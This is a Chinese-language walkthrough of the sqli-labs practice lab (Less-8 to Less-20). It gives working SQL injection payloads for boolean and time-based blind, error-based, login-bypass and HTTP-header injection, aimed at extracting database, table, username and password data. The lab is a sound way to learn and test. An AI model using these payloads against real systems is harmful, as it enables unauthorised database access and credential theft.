目录
Less-16 基于bool型/时间延迟的双引号POST型盲注
Less-18 基于’的User-Agent:报头文报错注入
基本查询是否存在注入点七种:
’
')
'))
"
")
"))
Less-8 基于’的GET型盲注
先看是否存在注入点
?id=1
页面正常
?id=1'
页面异常,没有任何显示存在注入点
(往下全是‘’ 而不是' 我也不明白为什么)
方法一 布尔盲注(通过回显的对错提示来判断是否成功)
1.left()函数:left(database(),1)='s’
left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0。
例:left(database(),1)=‘s’; 前1位是否是s。
2.regexp函数:select user() regexp 'r’
user()的结果是root,regexp为匹配root的正则表达式。
例:select database() regexp ‘s’; 匹配第一个字符是否是s。
3.like函数:select user() like 'ro%'
匹配与regexp相似。
例:select database() like ‘s%’; 匹配第一个字符是否是s。
4.substr(a,b,c)函数:slelct substr() XXX
substr(a,b,c)从位置b开始,截取a字符串c位长度。
例:select substr((select database()),1,1)=‘s’; 匹配第一个字符是否是s。
例:select substr((select database()),1,3)=‘sec’; 匹配前三个字符是否是sec。
5.ascii()函数:
将某个字符串转化为ascii值
例:select ascii(substr((select database()),1,1)); 直接回显115 或者是:
例:select ascii(substr((select database()),1,3))>110; 如果大于110,就会返回1,否则返回0。
6.chr(数字)或者是ord(‘字母’)
使用python中的两个函数可以判断当前的ascii值是多少。
使用order by 查看字段数量
?id=1’ order by 3 -- - 返回正确
?id=1’ order by 4 -- - 返回错误
说明字段数为3
判断数据库名称长度
?id=1’ and length(database())=8 -- -*返回正确
?id=1’ and length(database())=9 -- -*没有返回说明错误
可以判断出数据库的长度为8,在这里我们猜测数据库名称为‘security’
判断数据库名称
- 直接判断,利用二分法查找
?id=1’ and substr((select database()),1,1)>'a' -- - 第一个字符是否大于a
?id=1’ and substr((select database()),1,1)='s' -- - 判断第一个字母是否为s
?id=1’ and substr((select database()),1,8)='security' -- - 判断是否为‘security’
- 使用burp爆破
对此页面进行抓包
忽然发现安装靶场后,不能实现本地抓包了。看ThnPkm大佬文章
- 配置好代理之后刷新页面,我们将在burp中抓到数据,发送给intruder
- 使用炸弹束集模块,添加变量
添加第一个变量:1-8(数据库长度为8)
添加第二个变量 a-z
设置线程数为5
第一次我没爆出来,看history发现这个网页抓了两个包。那就换一个爆破
点击length排序,爆出来了
根据payload1的顺序将他们组合在一起就是数据库名称 security
判断表的名称
- 直接判断
?id=1’ and substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)='e' -- -
- 使用Burp爆破
判断表里面的字段(users表)
- 直接判断
?id=1’ and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='u' -- -
- 使用Burp爆破
判断账户(username)
- 直接判断
?id=1’ and substr((select username from security.users limit 0,1),1,1)='d' -- -
- 使用Burp爆破
判断密码(password)
- 直接判断
?id=1’ and substr((select password from security.users limit 0,1),1,1)='d' -- -
- 使用Burp爆破
尝试能否将username,password一起进行爆破,发现可行
?id=1’ and substr((select group_concat(username,password) from security.users limit 0,1),1,1)='d' -- -
方法二 时间盲注(手动控制页面返回时间来判断是否成功)
以下是时间盲注常用的SQL语句
- if(Boolean,codeA,codeB): 如果为真,执行A,否则执行B
- ascii(character):得到字符的ascii码值
- substr(string,start,length):从start开始,切出string中长度的length的子串
- sleep(sec):查询暂停sec秒
举例:
?id = 1 and if(ascii(substr(database(),0,1))=97,sleep(10),1)
如果第一个字母是a,那么页面会等待10秒后才能加载完成,否则无延迟。
查看是否存在注入(使用延时的方法判断)
?id=1’ and sleep(5) -- -
当存在注入时,页面会延时5s收到数据包
判断数据库长度
?id=1’ and if(length(database())=8,1,sleep(5)) -- -
当猜测正确时页面会立即刷新并返回正确,猜测错误则延时5s并返回错误
这里得到数据库长度为8
判断数据库名称
?id=1'and if(substr((select database()),1,1)='s',1,sleep(5))–+
这里得到首字母为s
使用burp爆破
判断表名
?id=1’ and if(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)=‘e’,1,sleep(5))–+
当猜测正确时页面会立即刷新并返回正确,猜测错误则延时5s并返回错误
这里得到第一个表名称首字母为e
判断字段名(users)
?id=1’ and if(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1)=‘u’,1,sleep(5))–+
判断账户(username)
?id=1’ and if(substr((select username from security.users limit 0,1),1,1)=‘d’,1,sleep(5))–+
判断密码(password)
?id=1’ and if(substr((select password from security.users limit 0,1),1,1)=‘d’,1,sleep(5))–+
将username,password一起进行爆破
?id=1’ and if(substr((select group_concat(username,password) from security.users limit 0,1),1,1)=‘d’,1,sleep(5))–+
使用concat_ws()函数将username,password进行分割并一起进行爆破
?id=1’ and if(substr((select group_concat(concat_ws(’-’,username,password)) from security.users limit 0,1),1,1)=‘d’,1,sleep(1))–+
Less-9 基于’的GET型时间盲注
判断注入点
当我们无论是使用
?id=1’
?id=1’)
?id=1’))
?id=1"
?id=1")
?id=1"))
都无法判断出来,这里需要使用延时方法来判断
是否存在注入
?id=1' and sleep(5) -- - 页面刷新5s,判断存在延时注入
判断数据库长度
?id=1' and if(length(database())=3 ,1,sleep(5)) -- -
判断数据库名:
先判断第一个字母:
?id=1’ and if(ascii(substr(database(),1,1))>200,1,sleep(5)) --+
判断security库中的表
判断security库中users表中的字段
判断users表中username字段的信息
Less-10 基于"的GET型时间盲注
是否存在注入
?id=1" and sleep(5) -- - 页面刷新5s,判断存在延时注入
判断数据库长度
?id=1" and if(length(database())>7 ,1,sleep(5)) -- -
其余同上
Less-11 基于’的POST型注入
注入语句
1' or 1=1#
也可以猜测用户名是admin
admin' and 1=1 #
Less-12 基于")的POST型注入
注入语句
1") or 1=1 #
也可以猜测用户名是admin
admin") and 1=1 #
Less-13 基于’)的错误回显注入
注入语句
1') union select updatexml(1,concat(0x7e,(select user()),0x7e),1) #
admin') union select updatexml(1,concat(0x7e,(select user()),0x7e),1) #
末尾记得加注释
爆数据库名:and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
Less-14 基于"的错误回显注入
注入语句
1" union select updatexml(1,concat(0x7e,(select user()),0x7e),1) #
admin" union select updatexml(1,concat(0x7e,(select user()),0x7e),1) #
Less-15 基于布尔型/时间延迟单引号POST型盲注
万能密码试一波
1 or 1=1 -- # 1) or 1=1-- # 1)) or 1=1-- #
1' or 1=1 -- # 1') or 1=1-- # 1') or 1=1-- #
1" or 1=1 -- # 1") or 1=1-- # 1") or 1=1-- #
1' or 1=1 -- #
测试几组发现无报错信息,由此判断这是一道非报错型注入,试试盲注吧。首先延时注入
试几组
1 and sleep(5)-- #
1' and sleep(5)-- #
1" and sleep(5)-- #
- 发现上面没有一个延迟的。原来GET型与POST型的时间盲注还是有点区别的,在前面的GET型中我们知道?id=1这个条件本来就是true,而我们测试POST型的uname和passwd都为1,这个条件本身为false,因为数据库没有这个用户。(所以,POST型中要判断字符型注入,最快的方法就是利用“万能语句”)
- 后台查询语句
select xxx from "table_name" where uname='$_POST["uname"]' and passwd='$_POST["passwd"]'
- 从前面我们初步判断出是单引号字符注入,而且我们从输入错误返回红色字体图片到输入成功返回蓝色字体图片可以想到true和false从而想到布尔盲注,也就印证了该题提示我们使用布尔盲注
1' or left(database(),1)>'a' # 返回正确
1' or left(database(),1)>'s' # 返回错误
1' or left(database(),1)='s' # 返回正确
- 由此推断出数据库第一位为s.那么猜第二位:1' or left(database(),2)>'sa' #等等
要想延时注入,也可以。要转变为万能密码的形式
1' or if(1,1,sleep(5)) # ------->这样的语句变成了1' or 1=1 -- #相当于万能语句
(正确的时候直接返回,不正确的时候等待 5 秒钟)
常用的判断语句:
' or if(1,1,sleep(5)) -- #
" or if(1,1, sleep(5)) -- #
) or if(1,1, sleep(5)) -- #
') or if(1,1, sleep(5)) -- #
") or if(1,1, sleep(5)) -- #
注:
不能使用 if(1,sleep(5),1) 原因在于uname=1' or if(1,sleep(5),1) 的时候 uname=1本身是false,而if(查询语句,sleep(5),1)中查询语句为true执行sleep(5)那么语句就变成了uname=1' or sleep(5)-- # 这样的语句一看就是false,所以不能这么写
猜数据库长度
1' or if(length(database())=8,1,sleep(5))-- #
猜数据库名(可以用 < > = 比较,对字符进行范围的判断,然后用二分法不断缩小范围)
猜数据库中的表
猜users表里的列
猜users表里的username的值(前文有)
Less-16 基于bool型/时间延迟的双引号POST型盲注
利用万能语句,初步确认了这是一道带括号的双引号字符注入:
1") or 1=1 -- #
接下来据不多说了,与Less-15一样的套路,盲注/延时注入都可以。
- 后台查询语句
select xxx from "table_name" where uname=("$_POST["uname"]") and passwd=("$_POST["passwd"]")
Less-17 基于’的密码报错注入
在对uname这一项进行注入,发现不管是’ " ’ ) " )等,都显示一样,说明无法进行注入,也说明源代码可能有对uname进行检查,再试试passwd这一项
(大佬wp说这道题会随着每一次的登录而改变密码)
成功报错,说明passwd这一项可以进行注入,也告诉我们可以通过报错注入获取想要的
万能密码
报错注入(看数据库)
username:admin
password:1'and extractvalue(1,concat(0x7e,(select database()),0x7e))#
延时注入
username:admin
password:1' and if(ascii(substr(database(),1,1))=115,1,sleep(5))#
1' and if(substr((select database()),1,1)='s',1,sleep(5))#
布尔注入
username:admin
password:1'and left (database(),1)>'a'#
Less-18 基于’的User-Agent:
报头文报错注入
1,先抓包
2,在报文头User-Agent加入注入语句
注入语句
',1,updatexml(1,concat(0x7e, database(),0x7e),1))#
Less-19 基于’的Referer:
报头文报错注入
1,抓包
2,在referer加入注入语句
',1,updatexml(1,concat(0x7e, database(),0x7e),1))#
Less-20 基于’的Cookie:
报头文报错注入
1,抓包
2,在cookie加入注入语句
uname=' union select 1,2,(updatexml(1,concat(0x7e, database(),0x7e),1))# ;